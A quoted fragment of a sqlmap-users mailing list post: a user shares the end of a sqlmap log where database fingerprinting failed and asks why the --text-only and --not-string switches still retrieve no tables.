> > [16:38:15] [INFO] testing Sybase
> > [16:38:16] [WARNING] the back-end DBMS is not Sybase
> > [16:38:16] [INFO] testing IBM DB2
> > [16:38:17] [WARNING] the back-end DBMS is not IBM DB2
> > [16:38:17] [CRITICAL] sqlmap was not able to fingerprint the back-end
> database management system. Support for this DBMS will be implemented at
> some point
> > [16:38:17] [WARNING] HTTP error codes detected during testing:
> > 400 (Bad Request) - 1 times, 500 (Internal Server Error) - 9 times
> >
> > [*] shutting down at 16:38:17
>
> Even when i try to use --text-only or --not-string switches I am not able
> to receive the tables. Any ideas?
>
>
> Best regards
>
> Volker Nebelung
>
> ------------------------------------------------------------------------------
> LogMeIn Rescue: Anywhere, Anytime Remote support for IT. Free Trial
> Remotely access PCs and mobile devices and provide instant support
> Improve your efficiency, and focus on delivering more value-add services
> Discover what IT Professionals Know. Rescue delivers
> http://p.sf.net/sfu/logmein_12329d2d
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>